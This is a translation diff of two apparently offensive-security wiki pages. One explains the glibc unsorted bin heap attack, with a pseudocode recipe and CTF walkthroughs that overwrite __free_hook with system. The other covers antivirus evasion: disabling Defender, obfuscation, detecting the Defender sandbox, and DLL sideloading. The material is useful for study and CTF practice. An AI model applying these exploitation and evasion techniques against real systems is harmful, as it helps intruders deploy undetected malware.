Translated ['src/windows-hardening/av-bypass.md', 'src/binary-exploitati

src/binary-exploitation/libc-heap/unsorted-bin-attack.md

@@ -4,30 +4,30 @@
 
 ## Informações Básicas
 
-Para mais informações sobre o que é um unsorted bin, confira esta página:
+For more information about what is an unsorted bin check this page:
 
 
 {{#ref}}
 bins-and-memory-allocations.md
 {{#endref}}
 
-Unsorted lists conseguem escrever o endereço de `unsorted_chunks (av)` no campo `bk` do chunk. Portanto, se um atacante puder **modificar o endereço do ponteiro `bk`** em um chunk dentro do unsorted bin, ele pode ser capaz de **escrever esse endereço em um endereço arbitrário**, o que pode ser útil para recuperar endereços do Glibc ou contornar alguma defesa.
+Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
 
-Basicamente, esse ataque permite **colocar um número grande em um endereço arbitrário**. Esse número grande é um endereço, que pode ser um endereço do heap ou do Glibc. Um alvo tradicional era **`global_max_fast`** para permitir criar fast bins com tamanhos maiores (e passar de um unsorted bin attack para um fast bin attack).
+So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A traditional target was **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin attack to a fast bin attack).
 
-- Observação moderna (glibc ≥ 2.39): `global_max_fast` tornou-se uma global de 8 bits. Escrever cegamente um ponteiro lá via unsorted-bin write irá corromper dados adjacentes do libc e não elevará de forma confiável o limite de fastbin. Prefira outros alvos ou primitivas ao atacar glibc 2.39+. Veja "Modern constraints" abaixo e considere combinar com outras técnicas como um [large bin attack](large-bin-attack.md) ou um [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) uma vez que tenha uma primitiva estável.
+- Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive.
 
 > [!TIP]
-> T> Dando uma olhada no exemplo fornecido em [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) e usando 0x4000 e 0x5000 em vez de 0x400 e 0x500 como tamanhos de chunk (para evitar Tcache) é possível ver que **hoje em dia** o erro **`malloc(): unsorted double linked list corrupted`** é disparado.
+> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
 >
-> Portanto, esse unsorted bin attack agora (entre outros cheques) também requer ser capaz de consertar a doubly linked list para que isso seja contornado `victim->bk->fd == victim` ou `victim->fd == av (arena)`, o que significa que o endereço onde queremos escrever deve ter o endereço do chunk falso em sua posição `fd` e que o `fd` do chunk falso aponte para a arena.
+> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
 
 > [!CAUTION]
-> Note que esse ataque corrompe o unsorted bin (portanto small e large também). Assim, agora só podemos **usar alocações do fast bin** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso devemos **alocar do mesmo tamanho ou o programa irá travar.**
+> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
 >
-> Note que sobrescrever **`global_max_fast`** pode ajudar nesse caso, confiando que o fast bin cuidará de todas as outras alocações até que o exploit seja completado.
+> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
 
-O código do [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explica muito bem, embora se você modificar os mallocs para alocar memória grande o suficiente para não cair no Tcache você pode ver que o erro mencionado anteriormente aparece impedindo essa técnica: **`malloc(): unsorted double linked list corrupted`**
+The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
 
 ### Como a escrita realmente acontece
 
@@ -38,34 +38,34 @@ O código do [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_at
 
 ## Restrições modernas (glibc ≥ 2.33)
 
-Para usar unsorted‑bin writes de forma confiável no glibc atual:
+To use unsorted‑bin writes reliably on current glibc:
 
-- Interferência do Tcache: para tamanhos que caem no tcache, frees são desviados para lá e não tocarão o unsorted bin. Ou
-  - faça requisições com tamanhos > MAX_TCACHE_SIZE (≥ 0x410 em 64‑bit por padrão), ou
-  - preencha a bin correspondente do tcache (7 entradas) para que frees adicionais atinjam os bins globais, ou
-  - se o ambiente for controlável, desative o tcache (por exemplo, GLIBC_TUNABLES glibc.malloc.tcache_count=0).
-- Checagens de integridade na unsorted list: no próximo caminho de alocação que examina o unsorted bin, o glibc checa (simplificado):
-  - `bck->fd == victim` e `victim->fd == unsorted_chunks(av)`; caso contrário ele aborta com `malloc(): unsorted double linked list corrupted`.
-- Isso significa que o endereço que você mira deve tolerar duas escritas: primeiro `*(TARGET) = victim` em tempo de free; depois, enquanto o chunk é removido, `*(TARGET) = unsorted_chunks(av)` (o allocator reescreve `bck->fd` de volta para a cabeça do bin). Escolha alvos onde simplesmente forçar um valor grande não‑zero seja útil.
-- Alvos típicos e estáveis em exploits modernos
-  - Estado da aplicação ou variáveis globais que tratam valores "grandes" como flags/limites.
-  - Primitivas indiretas (por exemplo, preparar para um subsequente [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) ou para pivotar uma escrita write‑what‑where posterior).
-  - Evite `__malloc_hook`/`__free_hook` no glibc novo: eles foram removidos na 2.34. Evite `global_max_fast` em ≥ 2.39 (ver nota anterior).
-- Sobre `global_max_fast` no glibc recente
-  - No glibc 2.39+, `global_max_fast` é uma global de 8‑bits. O truque clássico de escrever um ponteiro de heap ali (para aumentar fastbins) não funciona limpo e provavelmente corromperá o estado do allocator adjacente. Prefira outras estratégias.
+- Tcache interference: for sizes that fall into tcache, frees are diverted there and won’t touch the unsorted bin. Either
+- make requests with sizes > MAX_TCACHE_SIZE (≥ 0x410 on 64‑bit by default), or
+- fill the corresponding tcache bin (7 entries) so that additional frees reach the global bins, or
+- if the environment is controllable, disable tcache (e.g., GLIBC_TUNABLES glibc.malloc.tcache_count=0).
+- Integrity checks on the unsorted list: on the next allocation path that examines the unsorted bin, glibc checks (simplified):
+- `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`.
+- This means the address you target must tolerate two writes: first `*(TARGET) = victim` at free‑time; later, as the chunk is removed, `*(TARGET) = unsorted_chunks(av)` (the allocator rewrites `bck->fd` back to the bin head). Choose targets where simply forcing a large non‑zero value is useful.
+- Typical stable targets in modern exploits
+- Application or global state that treats "large" values as flags/limits.
+- Indirect primitives (e.g., set up for a subsequent [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) or to pivot a later write‐what‐where).
+- Avoid `__malloc_hook`/`__free_hook` on new glibc: they were removed in 2.34. Avoid `global_max_fast` on ≥ 2.39 (see next note).
+- About `global_max_fast` on recent glibc
+- On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies.
 
 ## Receita mínima de exploração (glibc moderno)
 
-Objetivo: conseguir uma única escrita arbitrária de um ponteiro do heap para um endereço arbitrário usando a primitiva de inserção do unsorted‑bin, sem travar o programa.
+Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing.
 
-- Layout/grooming
-  - Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk.
+- Layout / preparação
+- Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk.
 - Corrupção
-  - Overflow from A into B’s chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`.
+- Overflow from A into B’s chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`.
 - Gatilho
-  - `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`.
+- `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`.
 - Continuação
-  - If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big".
+- If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big".
 
 Pseudocode skeleton:
 ```c
@@ -80,33 +80,33 @@ void *C = malloc(0x5000); // guard
 free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
 ```
 > [!NOTE]
-> • Se não conseguir contornar o tcache pelo tamanho, encha o tcache bin para o tamanho escolhido (7 frees) antes de dar free no chunk corrompido para que o free vá para unsorted.
-> • Se o programa abortar imediatamente na próxima allocation devido às checagens do unsorted-bin, reanalise se `victim->fd` ainda é igual ao head do bin e se seu `TARGET` contém o ponteiro exato `victim` após a primeira escrita.
+> • Se você não conseguir contornar o tcache por tamanho, encha o tcache bin para o tamanho escolhido (7 frees) antes de liberar o chunk corrompido para que o free vá para o unsorted bin.
+> • Se o programa abortar imediatamente na próxima alocação devido às verificações do unsorted-bin, reexamine se `victim->fd` ainda é igual ao bin head e se seu `TARGET` contém o ponteiro exato `victim` após a primeira escrita.
 
 ## Unsorted Bin Infoleak Attack
 
-Este é, na verdade, um conceito bem básico. Os chunks no unsorted bin vão ter pointers. O primeiro chunk no unsorted bin terá de fato os links **`fd`** e **`bk`** **apontando para uma parte do main arena (Glibc)**.\
-Portanto, se você conseguir **colocar um chunk dentro de um unsorted bin e lê‑lo** (use after free) ou **alocá‑lo novamente sem sobrescrever pelo menos 1 dos pointers** para então **lê‑lo**, você pode obter um **Glibc info leak**.
+This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
+Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
 
-Um ataque semelhante [**usado neste writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) consistiu em abusar de uma estrutura de 4 chunks (A, B, C e D - D existe apenas para evitar consolidação com o top chunk) de modo que um null byte overflow em B foi usado para fazer C indicar que B estava unused. Além disso, em B o dado `prev_size` foi modificado de forma que o size, ao invés de ser o size de B, era A+B.\
-Então C foi deallocado, e consolidado com A+B (mas B ainda estava in use). Um novo chunk de tamanho A foi alocado e então os endereços libc vazados foram escritos em B, de onde foram leakados.
+A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
+Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
 
-## References & Other examples
+## Referências & Outros exemplos
 
 - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
-- O objetivo é sobrescrever uma variável global com um valor maior que 4869 para que seja possível obter a flag e o PIE não está habilitado.
-- É possível gerar chunks de tamanhos arbitrários e existe um heap overflow com o tamanho desejado.
-- O ataque começa criando 3 chunks: chunk0 para abusar do overflow, chunk1 para ser overflowed e chunk2 para que o top chunk não consolide os anteriores.
-- Então, chunk1 é freed e chunk0 é overflowed até o ponteiro `bk` de chunk1 apontar para: `bk = magic - 0x10`
-- Depois, chunk3 é alocado com o mesmo size que chunk1, o que irá disparar o unsorted bin attack e vai modificar o valor da variável global, possibilitando obter a flag.
+- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled.
+- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size.
+- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones.
+- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10`
+- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag.
 - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
-- A função merge é vulnerável porque se ambos os índices passados forem o mesmo ela irá realloc sobre ele e então freeá‑lo, mas retornando um ponteiro para aquela região freed que pode ser usada.
-- Portanto, **2 chunks são criados**: **chunk0** que será merged com ele mesmo e chunk1 para prevenir consolidação com o top chunk. Então, a função **merge** é chamada com chunk0 duas vezes o que causará um use after free.
-- Depois, a função **`view`** é chamada com o índice 2 (que é o índice do chunk use after free), o que irá **leak um endereço libc**.
-- Como o binário tem proteções para só mallocar sizes maiores que **`global_max_fast`** então nenhum fastbin é usado, um unsorted bin attack será usado para sobrescrever a variável global `global_max_fast`.
-- Então, é possível chamar a função edit com o índice 2 (o ponteiro do use after free) e sobrescrever o ponteiro `bk` para apontar para `p64(global_max_fast-0x10)`. Então, criar um novo chunk irá usar o endereço previamente comprometido free (0x20) e **disparará o unsorted bin attack** sobrescrevendo o `global_max_fast` para um valor muito grande, permitindo agora criar chunks nos fast bins.
-- Agora é realizado um **fast bin attack**:
-- Primeiro de tudo descobre‑se que é possível trabalhar com fast **chunks de size 200** na localização de **`__free_hook`**:
+- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used.
+- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free.
+- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
+- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`.
+- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
+- Now a **fast bin attack** is performed:
+- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
 - <pre class="language-c"><code class="lang-c">gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -115,19 +115,19 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 </code></pre>
-- Se conseguirmos obter um fast chunk de size 0x200 nessa localização, será possível sobrescrever um function pointer que será executado
-- Para isso, um novo chunk de size `0xfc` é criado e a função merged é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk freed de size `0xfc*2 = 0x1f8` no fast bin.
-- Depois, a função edit é chamada nesse chunk para modificar o endereço **`fd`** desse fast bin para apontar para o anterior function **`__free_hook`**.
-- Em seguida, um chunk com size `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de size `0x1f8` é criado para obter um fast bin chunk em **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
-- E finalmente um chunk contendo a string `/bin/sh\x00` é freed chamando a função delete, disparando o **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro.
+- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
+- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
+- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
+- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
+- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-- Outro exemplo de abuso de um overflow de 1B para consolidar chunks no unsorted bin e obter um libc infoleak e então realizar um fast bin attack para sobrescrever malloc hook com um one gadget address
+- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
-- Só podemos alocar chunks de size maior que `0x100`.
-- Sobrescrever `global_max_fast` usando um Unsorted Bin attack (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits).
-- Fast Bin attack para modificar um array global de chunks. Isso dá uma primitive de arbitrary read/write, o que permite modificar a GOT e apontar alguma função para `system`.
+- We can only allocate chunks of size greater than `0x100`.
+- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
+- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
 
-## References
+## Referências
 
 - Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
 - `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c

src/windows-hardening/av-bypass.md

@@ -6,9 +6,9 @@
 
 ## Parar o Defender
 
-- [defendnot](https://github.com/es3n1n/defendnot): Uma ferramenta para parar o Windows Defender de funcionar.
-- [no-defender](https://github.com/es3n1n/no-defender): Uma ferramenta para parar o Windows Defender de funcionar fingindo outro AV.
-- [Desativar o Defender se você for admin](basic-powershell-for-pentesters/README.md)
+- [defendnot](https://github.com/es3n1n/defendnot): Uma ferramenta para impedir o funcionamento do Windows Defender.
+- [no-defender](https://github.com/es3n1n/no-defender): Uma ferramenta para parar o Windows Defender fingindo outro AV.
+- [Desativar o Defender se você for administrador](basic-powershell-for-pentesters/README.md)
 
 ## **Metodologia de Evasão de AV**
 
@@ -16,34 +16,34 @@ Atualmente, os AVs usam diferentes métodos para verificar se um arquivo é mali
 
 ### **Detecção estática**
 
-A detecção estática é feita sinalizando strings conhecidas ou arrays de bytes em um binário ou script, e também extraindo informações do próprio arquivo (por exemplo, descrição do arquivo, nome da empresa, assinaturas digitais, ícone, checksum, etc.). Isso significa que usar ferramentas públicas conhecidas pode fazer você ser detectado mais facilmente, pois provavelmente já foram analisadas e marcadas como maliciosas. Existem algumas formas de contornar esse tipo de detecção:
+A detecção estática é feita sinalizando strings conhecidas ou arrays de bytes em um binário ou script, e também extraindo informações do próprio arquivo (por exemplo: descrição do arquivo, nome da empresa, assinaturas digitais, ícone, checksum, etc.). Isso significa que usar ferramentas públicas conhecidas pode te comprometer mais facilmente, pois elas provavelmente já foram analisadas e marcadas como maliciosas. Existem algumas maneiras de contornar esse tipo de detecção:
 
 - **Encryption**
 
-Se você encriptar o binário, não haverá como o AV detectar seu programa, mas você precisará de algum tipo de loader para descriptografar e executar o programa em memória.
+Se você criptografar o binário, não haverá como o AV detectar seu programa, mas você vai precisar de algum tipo de loader para descriptografar e executar o programa em memória.
 
 - **Obfuscation**
 
-Às vezes tudo que você precisa fazer é mudar algumas strings no seu binário ou script para passar pelo AV, mas isso pode ser uma tarefa demorada dependendo do que você está tentando ofuscar.
+Às vezes tudo o que você precisa fazer é mudar algumas strings no seu binário ou script para passar pelo AV, mas isso pode ser uma tarefa demorada dependendo do que você está tentando ofuscar.
 
 - **Custom tooling**
 
-Se você desenvolver suas próprias ferramentas, não haverá assinaturas ruins conhecidas, mas isso leva muito tempo e esforço.
+Se você desenvolver suas próprias ferramentas, não existirão assinaturas conhecidas como maliciosas, mas isso leva muito tempo e esforço.
 
 > [!TIP]
-> Uma boa forma de checar contra a detecção estática do Windows Defender é [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Ele basicamente divide o arquivo em múltiplos segmentos e pede ao Defender para escanear cada um individualmente; dessa forma, ele pode te dizer exatamente quais strings ou bytes são sinalizados no seu binário.
+> Uma boa forma de verificar a detecção estática do Windows Defender é [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Ele basicamente divide o arquivo em múltiplos segmentos e então solicita que o Defender escaneie cada um individualmente; dessa forma, ele pode te dizer exatamente quais strings ou bytes foram sinalizados no seu binário.
 
-Recomendo fortemente que você confira esta [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sobre AV Evasion prática.
+Recomendo fortemente que veja esta [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sobre AV Evasion na prática.
 
 ### **Análise dinâmica**
 
-Análise dinâmica é quando o AV executa seu binário em um sandbox e observa atividades maliciosas (por exemplo, tentar descriptografar e ler as senhas do seu browser, realizar um minidump no LSASS, etc.). Esta parte pode ser mais complicada de trabalhar, mas aqui estão algumas coisas que você pode fazer para evadir sandboxes.
+A análise dinâmica é quando o AV executa seu binário em um sandbox e observa atividades maliciosas (por exemplo, tentar descriptografar e ler as senhas do navegador, realizar um minidump no LSASS, etc.). Esta parte pode ser um pouco mais complicada de trabalhar, mas aqui estão algumas coisas que você pode fazer para evadir sandboxes.
 
-- **Sleep before execution** Dependendo de como está implementado, pode ser uma ótima forma de contornar a análise dinâmica dos AVs. Os AVs têm um tempo muito curto para escanear arquivos para não interromper o fluxo de trabalho do usuário, então usar sleeps longos pode atrapalhar a análise de binários. O problema é que muitos sandboxes dos AVs podem simplesmente pular o sleep dependendo de como foi implementado.
-- **Checking machine's resources** Normalmente sandboxes têm pouquíssimos recursos (por exemplo < 2GB RAM), caso contrário poderiam deixar a máquina do usuário lenta. Você também pode ser bem criativo aqui, por exemplo checando a temperatura da CPU ou até as velocidades das ventoinhas; nem tudo será implementado no sandbox.
-- **Machine-specific checks** Se você quer atingir um usuário cuja estação de trabalho está juntada ao domínio "contoso.local", você pode checar o domínio do computador para ver se bate com o que você especificou; se não bater, você pode fazer seu programa encerrar.
+- **Sleep before execution** Dependendo de como está implementado, pode ser uma ótima forma de contornar a análise dinâmica do AV. Os AVs têm um tempo muito curto para escanear arquivos para não interromper o fluxo de trabalho do usuário, então usar sleeps longos pode atrapalhar a análise dos binários. O problema é que muitos sandboxes dos AVs podem simplesmente pular o sleep dependendo de como está implementado.
+- **Checking machine's resources** Normalmente Sandboxes têm muito poucos recursos para trabalhar (por exemplo, < 2GB RAM), caso contrário poderiam deixar a máquina do usuário lenta. Você também pode ser bastante criativo aqui, por exemplo verificando a temperatura da CPU ou até as rotações das ventoinhas; nem tudo estará implementado no sandbox.
+- **Machine-specific checks** Se você quer direcionar um usuário cujo workstation está ingressado no domínio "contoso.local", você pode checar o domínio do computador para ver se bate com o especificado; se não bater, seu programa pode simplesmente sair.
 
-Acontece que o computername do Sandbox do Microsoft Defender é HAL9TH, então você pode checar o nome do computador no seu malware antes da detonação; se o nome corresponder a HAL9TH, significa que você está dentro do sandbox do defender, então você pode fazer seu programa encerrar.
+Acontece que o nome do computador do Sandbox do Microsoft Defender é HAL9TH, então você pode checar o nome do computador no seu malware antes da detonação; se o nome bater com HAL9TH, significa que você está dentro do sandbox do Defender, então pode fazer seu programa sair.
 
 <figure><img src="../images/image (209).png" alt=""><figcaption><p>fonte: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
 
@@ -51,43 +51,43 @@ Algumas outras dicas muito boas do [@mgeeky](https://twitter.com/mariuszbit) par
 
 <figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canal #malware-dev</p></figcaption></figure>
 
-Como dissemos antes neste post, **ferramentas públicas** eventualmente **serão detectadas**, então você deve se perguntar algo:
+Como dissemos antes neste post, ferramentas públicas eventualmente serão detectadas, então você deve se perguntar algo:
 
-Por exemplo, se você quer dumpar o LSASS, **você realmente precisa usar mimikatz**? Ou poderia usar outro projeto menos conhecido que também dumpa o LSASS.
+Por exemplo, se você quer dumpar o LSASS, **você realmente precisa usar o mimikatz**? Ou poderia usar um projeto diferente, menos conhecido, que também faz dump do LSASS?
 
-A resposta certa provavelmente é a última. Pegando o mimikatz como exemplo, é provavelmente um dos, se não o mais detectado por AVs e EDRs; embora o projeto em si seja muito legal, também é um pesadelo trabalhar com ele para contornar AVs, então simplesmente procure alternativas para o que você está tentando alcançar.
+A resposta certa provavelmente é a última. Pegando o mimikatz como exemplo, ele provavelmente é um dos, se não o mais, detectado por AVs e EDRs; embora o projeto em si seja muito legal, é também um pesadelo trabalhar com ele para contornar AVs, então procure alternativas para o que você está tentando alcançar.
 
 > [!TIP]
-> Ao modificar seus payloads para evadir, certifique-se de **desligar o envio automático de amostras** no defender, e por favor, seriamente, **NÃO FAÇA UPLOAD NO VIRUSTOTAL** se seu objetivo é alcançar evasão a longo prazo. Se você quer checar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar o envio automático de amostras e teste lá até ficar satisfeito com o resultado.
+> Ao modificar seus payloads para evasão, certifique-se de **desativar o envio automático de amostras** no Defender e, por favor, seriamente, **DO NOT UPLOAD TO VIRUSTOTAL** se seu objetivo é atingir evasão a longo prazo. Se você quer checar se seu payload é detectado por um AV em particular, instale-o em uma VM, tente desativar o envio automático de amostras e teste lá até ficar satisfeito com o resultado.
 
 ## EXEs vs DLLs
 
-Sempre que possível, **priorize usar DLLs para evasão**; na minha experiência, arquivos DLL geralmente são **muito menos detectados** e analisados, então é um truque bem simples para evitar detecção em alguns casos (se seu payload tiver alguma forma de rodar como DLL, claro).
+Sempre que possível, **priorize o uso de DLLs para evasão**, na minha experiência, arquivos DLL geralmente são **muito menos detectados** e analisados, então é um truque bem simples para evitar detecção em alguns casos (se o seu payload tiver alguma forma de rodar como DLL, claro).
 
-Como podemos ver nesta imagem, um Payload DLL do Havoc tem uma taxa de detecção de 4/26 no antiscan.me, enquanto o payload EXE tem uma taxa de detecção de 7/26.
+Como podemos ver nesta imagem, um payload DLL do Havoc tem taxa de detecção de 4/26 no antiscan.me, enquanto o payload EXE tem taxa de 7/26.
 
-<figure><img src="../images/image (1130).png" alt=""><figcaption><p>comparação do antiscan.me de um payload Havoc EXE normal vs um Havoc DLL normal</p></figcaption></figure>
+<figure><img src="../images/image (1130).png" alt=""><figcaption><p>comparação no antiscan.me de um payload Havoc EXE normal vs um payload Havoc DLL normal</p></figcaption></figure>
 
 Agora vamos mostrar alguns truques que você pode usar com arquivos DLL para ser muito mais furtivo.
 
 ## DLL Sideloading & Proxying
 
-**DLL Sideloading** aproveita a ordem de busca de DLLs usada pelo loader posicionando tanto a aplicação vítima quanto o(s) payload(s) malicioso(s) lado a lado.
+**DLL Sideloading** aproveita a ordem de busca de DLLs usada pelo loader ao posicionar tanto a aplicação vítima quanto o(s) payload(s) malicioso(s) lado a lado.
 
-Você pode checar programas suscetíveis a DLL Sideloading usando [Siofra](https://github.com/Cybereason/siofra) e o seguinte powershell script:
+Você pode checar por programas suscetíveis a DLL Sideloading usando [Siofra](https://github.com/Cybereason/siofra) e o seguinte powershell script:
 ```bash
 Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
 $binarytoCheck = "C:\Program Files\" + $_
 C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
 }
 ```
-Este comando vai exibir a lista de programas suscetíveis a DLL hijacking dentro de "C:\Program Files\\" e os arquivos DLL que eles tentam carregar.
+This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\\" and the DLL files they try to load.
 
-Eu recomendo fortemente que você **explore DLL Hijackable/Sideloadable programs yourself**, esta técnica é bastante furtiva quando feita corretamente, mas se você usar programas DLL Sideloadable publicamente conhecidos, pode ser facilmente pego.
